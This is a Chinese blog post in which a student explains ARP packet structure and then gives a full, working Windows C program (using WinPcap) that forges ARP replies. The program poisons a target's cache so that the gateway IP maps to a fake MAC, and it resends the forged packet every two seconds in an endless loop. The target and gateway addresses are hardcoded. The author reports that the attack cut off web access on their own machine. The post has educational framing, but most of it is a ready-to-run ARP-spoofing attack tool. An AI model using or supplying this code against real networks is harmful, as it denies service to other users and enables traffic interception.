学校里是局域网,而且过上十天半个月就会有ARP攻击泛滥。最一开始并不知道什么是ARP,知道ARP后还是不知道什么是ARP攻击。今天看了一个教程,了解了常规的ARP攻击的的方法。从协议报文外看其实就是发送修改后的报文使目的机器找不到上网的连接,局域网大都是通过网关上网的,IP不是唯一的,但MAC网卡地址是全球唯一的,所以把目的地址的ARP缓存中的网关的MAC地址修改成错误的MAC地址,目的机器就找不到网关也就不能上网了。
掌握各种协议报文很有必要,但在这里大概提一下ARP协议报文结构:
一个完整的ARP报文由三部分组成:ARP头 物理帧和ARP帧。
物理帧由:接收方MAC(6bytes),发送方MAC(6bytes)和以太网类型(0x0806)
ARP帖由:硬件类型,上层协议类型(2),MAC地址长度(2),IP地址长度(1),操作码(2),
发方MAC(6),发方端口(4),收方MAC(6),收方端口(4),填充数据(18)
此程序用到了WinpCap软件源库packet.lib和头文件packet32.h,调用了一些方法可以直接从网卡里读取数据报文。
- #include "winsock2.h"
- #include "Packet32.h"
- #include "stdio.h"
- #include "Iphlpapi.h"
- #pragma comment(lib, "packet.lib")
- #pragma comment(lib, "ws2_32.lib")
- #pragma comment(lib,"iphlpapi.lib")
- #define NDIS_PACKET_TYPE_DIRECTED 0x0001 //直接模式
- #pragma pack(push, 1)
- //以太网物理帧头部
- typedef struct _et_header
- {
- unsigned char eh_dst[6];
- unsigned char eh_src[6];
- unsigned short eh_type;
- }ET_HEADER;
- //ARP帧头部
- typedef struct _arp_header
- {
- unsigned short arp_hdr;
- unsigned short arp_pro;
- unsigned char arp_hln;
- unsigned char arp_pln;
- unsigned short arp_opt;
- unsigned char arp_sha[6];
- unsigned long arp_spa;
- unsigned char arp_tha[6];
- unsigned long arp_tpa;
- }ARP_HEADER;
- //将被传递到监听线程的信息结构
- typedef struct info
- {
- LPADAPTER lpAdapter;
- char localIP[20];
- char simulateIP[20];
- char targetIP[20];
- }INFO;
- // 网卡信息
- typedef struct tagAdapterInfo
- {
- char szDeviceName[128]; // 名字
- char szIPAddrStr[16]; // IP
- char szHWAddrStr[18]; // MAC
- DWORD dwIndex; // 编号
- }INFO_ADAPTER, *PINFO_ADAPTER;
- //
- INFO_ADAPTER infoAdapterList[10];
- #pragma pack(pop)
- //IP报头部
- typedef struct _ip_header
- {
- unsigned char h_verlen; //4位IP版本号+4位首部长度
- unsigned char tos; //8位服务类型TOS
- unsigned short total_len; //16位总长度(字节)
- unsigned short ident; //16位标识
- unsigned short frag_and_flags; //3位标志位+13位分段偏移量
- unsigned char ttl; //8位生存时间 TTL
- unsigned char proto; //8位协议 (TCP, UDP 或其他)
- unsigned short checksum; //16位IP首部校验和
- unsigned int sourceIP; //32位源IP地址
- unsigned int destIP; //32位目的IP地址
- }IP_HEADER;
- void usage()
- {
- printf("Name : Richard/r/n");
- printf("MSN : hdqu@hotmail.com/r/n");
- printf("Usage: ARPSender targetIP simuIP fakeMAC/r/n/r/n");
- }
- int GetLocalAdapterList()
- {
- char tempChar;
- ULONG uListSize=1;
- PIP_ADAPTER_INFO pAdapter; // 定义PIP_ADAPTER_INFO结构存储网卡信息
- int nAdapterIndex = 0;
- //获得网卡列表信息串长度
- DWORD dwRet = GetAdaptersInfo((PIP_ADAPTER_INFO)&tempChar, &uListSize);
- printf("/r/nTry to get adapter list.../r/n");
- if (dwRet == ERROR_BUFFER_OVERFLOW)
- {
- PIP_ADAPTER_INFO pAdapterListBuffer = (PIP_ADAPTER_INFO) new (char[uListSize]);
- dwRet = GetAdaptersInfo(pAdapterListBuffer, &uListSize);
- if (dwRet == ERROR_SUCCESS)
- {
- pAdapter = pAdapterListBuffer;
- // 枚举网卡然后将相关条目添加到List中
- while (pAdapter)
- {
- // 网卡名字
- char strTemp[128];
- strcpy(strTemp, "//Device//NPF_");
- strcat(strTemp, pAdapter->AdapterName); // 加上前缀
- strcpy(infoAdapterList[nAdapterIndex].szDeviceName,strTemp);
- // IP
- strcpy(infoAdapterList[nAdapterIndex].szIPAddrStr,pAdapter->IpAddressList.IpAddress.String );
- // MAC
- sprintf( infoAdapterList[nAdapterIndex].szHWAddrStr, "%02x%02x%02x%02x%02x%02x", /
- pAdapter->Address[0],pAdapter->Address[1],pAdapter->Address[2], /
- pAdapter->Address[3],pAdapter->Address[4],pAdapter->Address[5]);
- // 网卡编号
- infoAdapterList[nAdapterIndex].dwIndex = pAdapter->Index;
- pAdapter = pAdapter->Next;
- nAdapterIndex ++;
- }
- delete pAdapterListBuffer;
- }
- return nAdapterIndex;
- }
- return 0;
- }
- void StrToMac(char *str,unsigned char *mac) //自定义的将字符串转换成mac地址的函数
- {
- char *str1;
- int i;
- int low,high;
- char temp;
- for(i=0;i<6;i++)
- {
- str1=str+1;
- switch(*str)
- {
- case 'a':high=10;
- break;
- case 'b':high=11;
- break;
- case 'c':high=12;
- break;
- case 'd':high=13;
- break;
- case 'e':high=14;
- break;
- case 'f':high=15;
- break;
- default:temp=*str;
- high=atoi(&temp);
- }
- switch(*str1)
- {
- case 'a':low=10;
- break;
- case 'b':low=11;
- break;
- case 'c':low=12;
- break;
- case 'd':low=13;
- break;
- case 'e':low=14;
- break;
- case 'f':low=15;
- break;
- default:temp=*str1;
- low=atoi(&temp);
- }
- mac[i]=high*16+low;
- str+=2;
- }
- }
- bool GetRemoteMac(unsigned char *remoteMac,char *remoteIP) //获取远程主机MAC地址
- {
- WSADATA wsaData;
- ULONG remoteAddr=0,macAddrLen=6;
- unsigned char remoteMacTemp[6]={0};
- if(WSAStartup(MAKEWORD(2,1), &wsaData)!=0)
- {
- printf("WSAStartup error!/n");
- return FALSE;
- }
- remoteAddr=inet_addr(remoteIP);
- if(SendARP(remoteAddr, (unsigned long)NULL,(PULONG)&remoteMacTemp, &macAddrLen)!=NO_ERROR)
- {
- printf("Get remote MAC failed!/n");
- return FALSE;
- }
- memcpy(remoteMac,remoteMacTemp,6);
- printf("Remote IP: %s MAC: ", remoteIP);
- for(int i=0; i<6; i++ )
- {
- printf( "%.2x", remoteMac[i] );
- }
- printf("/r/n");
- return TRUE;
- }
- int main(int argc, char* argv[])
- {
- LPADAPTER lpAdapter;
- LPPACKET lpPacket;
- ET_HEADER et_header;
- ARP_HEADER arp_header;
- char buffer[512]={0};
- INFO param={0};
- int index = 0;
- int adaptercount = 0;
- usage();
- /*if(argc != 4)
- {
- return -1;
- }*/
- unsigned char remoteMac[6] = {0};
- unsigned char fakeMac[6] = {0};
- //获取目标真实MAC地址
- if(GetRemoteMac(remoteMac, "10.1.16.103"/*argv[1]*/) == FALSE)
- {
- return -1;
- }
- //获得适配器列表
- adaptercount = GetLocalAdapterList();
- //通过转换得到用户输入的虚假MAC地址
- StrToMac(/*argv[3]*/"222222222222", fakeMac);
- for(int i = 0; i< adaptercount; i++)
- printf("%d: %s: %s/n/n",i,infoAdapterList[i].szIPAddrStr,infoAdapterList[i].szDeviceName);
- printf("Select a working adapter by number:");
- while(TRUE)
- {
- scanf("%d",&index);
- if(index >= 0 && index < adaptercount) break;
- }
- //打开适配器
- lpAdapter=(LPADAPTER)PacketOpenAdapter((LPTSTR)infoAdapterList[index].szDeviceName);
- if (!lpAdapter||(lpAdapter->hFile==INVALID_HANDLE_VALUE))
- {
- printf("Unable to open the driver, Error Code : %lx/n", GetLastError());
- return -1;
- }
- //伪造ARP应答包
- memcpy(et_header.eh_src, fakeMac, 6);
- memcpy(et_header.eh_dst, remoteMac, 6);
- et_header.eh_type=htons(0x0806); //类型为0x0806表示这是ARP包
- arp_header.arp_hdr=htons(0x0001); //硬件地址类型以太网地址
- arp_header.arp_pro=htons(0x0800); //协议地址类型为IP协议
- arp_header.arp_hln=0x06; //硬件地址长度为6
- arp_header.arp_pln=0x04; //协议地址长度为4
- arp_header.arp_opt=htons(0x0002); //标识为ARP应答
- arp_header.arp_spa=inet_addr(/*argv[2]*/"10.1.19.254"); //source_ip
- memcpy(arp_header.arp_sha,et_header.eh_src,6);
- arp_header.arp_tpa=inet_addr(/*argv[1]*/"10.1.16.103"); //target_ip
- memcpy(arp_header.arp_tha,et_header.eh_dst,6);
- memcpy(buffer,&et_header,sizeof(ET_HEADER));
- memcpy(buffer+sizeof(ET_HEADER),&arp_header,sizeof(ARP_HEADER));
- //给PACKET结构指针分配内存
- lpPacket=PacketAllocatePacket();
- //初始化PACKET结构指针
- PacketInitPacket(lpPacket,buffer,64);
- //设置发送次数
- if(PacketSetNumWrites(lpAdapter, 2) == FALSE)
- {
- printf("warning: Unable to send more than one packet in a single write!/n");
- }
- //不断发送伪造的ARP应答包欺骗目标主机
- while(TRUE)
- {
- struct in_addr sAddr, tAddr;
- sAddr.S_un.S_addr = arp_header.arp_spa;
- tAddr.S_un.S_addr = arp_header.arp_tpa;
- printf("send fake %s:%02x-%02x-%02x-%02x-%02x-%02x ", /
- inet_ntoa(sAddr), /
- fakeMac[0], fakeMac[1], fakeMac[2], fakeMac[3], fakeMac[4], fakeMac[5]);
- printf("to %s:%02x-%02x-%02x-%02x-%02x-%02x/r/n",
- inet_ntoa(tAddr), /
- remoteMac[0], remoteMac[1], remoteMac[2], remoteMac[3], remoteMac[4], remoteMac[5]);
- if(PacketSendPacket(lpAdapter,lpPacket,TRUE) == FALSE)
- {
- printf("Error sending the packets!/n");
- break;
- }
- Sleep(2000);
- }
- PacketFreePacket(lpPacket); //释放PACKET结构指针
- PacketCloseAdapter(lpAdapter); //关闭适配器
- return 0;
- }
程序攻击本地机器使用cmd-->arp -a 查看 10.1.19.254对应的MAC的地址改成了自定义的22-22-22-22-22-22,打开浏览器输入网址打不开链接,但刷新ARP缓存时我看到有时10.1.19.254对应的MAC地址会改成正确的,应该是网关一直在广播ARP报文,而本地程序具有一定的时间延迟,所以造成网络有时可以缓慢的打开一些网页。